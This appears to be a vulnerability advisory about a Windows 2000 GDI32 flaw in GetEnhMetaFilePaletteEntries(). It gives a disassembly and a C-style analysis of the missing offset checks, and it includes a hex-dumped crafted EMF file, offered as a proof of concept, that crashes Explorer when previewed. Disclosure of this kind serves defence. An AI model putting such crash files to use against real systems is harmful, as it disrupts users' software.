Windows 2000 GDI32.DLL GetEnhMetaFilePaletteEntries() API specially crafted EMF file DOS vulnerability 1. Description Windows 2000 GDI32.DLL GetEnhMetaFilePaletteEntries() API doesn't process the EMF file properly, a application which calls the API will crash when it reads some specially crafted EMF files. 2. Detail Let us review the code: ---------------------------------------------------------- The Disassembled GDI32.GetEnhMetaFilePaletteEntries() ---------------------------------------------------------- 77F68CC7 PUSH ESI 77F68CC8 PUSH EDI 77F68CC9 PUSH 460000 77F68CCE PUSH DWORD PTR SS:[ESP+10] 77F68CD2 CALL GDI32.77F48A89 77F68CD7 TEST EAX,EAX 77F68CD9 JNZ SHORT GDI32.77F68CE0 77F68CDB OR EAX,FFFFFFFF 77F68CDE JMP SHORT GDI32.77F68D11 77F68CE0 MOV EDI,DWORD PTR SS:[ESP+14] 77F68CE4 TEST EDI,EDI 77F68CE6 JNZ SHORT GDI32.77F68CF0 77F68CE8 MOV EAX,DWORD PTR DS:[EAX+C] 77F68CEB MOV EAX,DWORD PTR DS:[EAX+44] 77F68CEE JMP SHORT GDI32.77F68D11 77F68CF0 MOV ECX,DWORD PTR DS:[EAX+C] 77F68CF3 MOV EAX,DWORD PTR DS:[ECX+44] 77F68CF6 CMP DWORD PTR SS:[ESP+10],EAX 77F68CFA JNB SHORT GDI32.77F68D00 77F68CFC MOV EAX,DWORD PTR SS:[ESP+10] 77F68D00 MOV EDX,DWORD PTR DS:[ECX+30] 77F68D03 ADD EDX,ECX 77F68D05 MOV ECX,EAX 77F68D07 SUB EDX,DWORD PTR DS:[EDX-4] 77F68D0A MOV ESI,DWORD PTR DS:[EDX+C] 77F68D0D ADD ESI,EDX 77F68D0F REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] 77F68D11 POP EDI 77F68D12 POP ESI 77F68D13 RETN 0C ----------------------------------------------------------- Translated into C Code ----------------------------------------------------------- UINT GetEnhMetaFilePaletteEntries( HENHMETAFILE hemf, // handle of enhanced metafile UINT cEntries, // count of palette entries LPPALETTEENTRY lppe // address of palette-entry array ) { char *begin, *end, *emreof, *palent; DWORD count, i; // ...... begin = emf file offset in memory; // get the count of palette entries from the emf file count = *((DWORD *)(begin + 0x44)); if (lppe == 0) return count; if (size > count) size = count; // find the end of the emf file end = begin + *((DWORD *)(bigin + 0x30)); // find the offset of emreof emreof = end - *((DWORD *)(end - 0x04)); // find the offset of palentries palent = emreof + *((DWORD *)(emreof + 0x0c)); // copy the palent from the file to palette-entry array for (i = 0; i < size; i++) memcpy(lppe + i, palent + i * 4, 4); return size; } ----------------------------------------------------------- You can see that there isn't validity check, so it may cause access violation when it uses the offset value("end", "emreof", "palent") which read from the EMF. 3. Impact The specific impact depends on the application using the API. Generally, if there is a non-zero value in EMRHEAD->nPalEntries, the application will call this API, and pass EMRHEAD->nPalEntries to the second parameter, a specially crafted EMF will crash the Application if the address it accesses to is not valid. <<< Explorer.exe >>> The explorer.exe(maybe a DLL called by explorer) always use 0x100 as the second parameter. And even if there is a zero value in EMRHEAD->nPalEntries, if the "end" value in the end of EMF file is bigger than some value(0x14 ??? I'm not sure), it will also call this API to get the Palette entries.(strangely ?) When you open the explorer.exe to open the folder which has a crafted EMF file, if you click on the file in explorer's right client area, just click, the explorer.exe will display the EMF file in its left client area which will crash itself. 4. POC A hex dumped EMF file: ------------------------------------------------------- 0000000 01 00 00 00 64 00 00 00 93 00 00 00 02 00 00 00 0000010 83 01 00 00 39 01 00 00 00 00 00 00 00 00 00 00 0000020 d1 08 00 00 be 06 00 00 20 45 4d 46 00 00 01 00 0000030 78 00 00 00 17 00 00 00 03 00 00 00 0f 00 00 00 0000040 64 00 00 00 41 00 00 00 c8 12 00 00 c2 1a 00 00 0000050 cc 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00 0000060 00 00 00 00 0e 00 00 00 14 00 00 00 41 00 00 00 0000070 41 42 43 44 00 00 01 ff ------------------------------------------------------- If it doesn't crash your explorer.exe, change the last 8 byte's values and try again, but I think it needn't change:) Or you can change some normal EMF files in your Win2k to test. 5. Author felix__zhou _at_ hotmail _dot_ com hzhou _at_ fortinet _dot_ com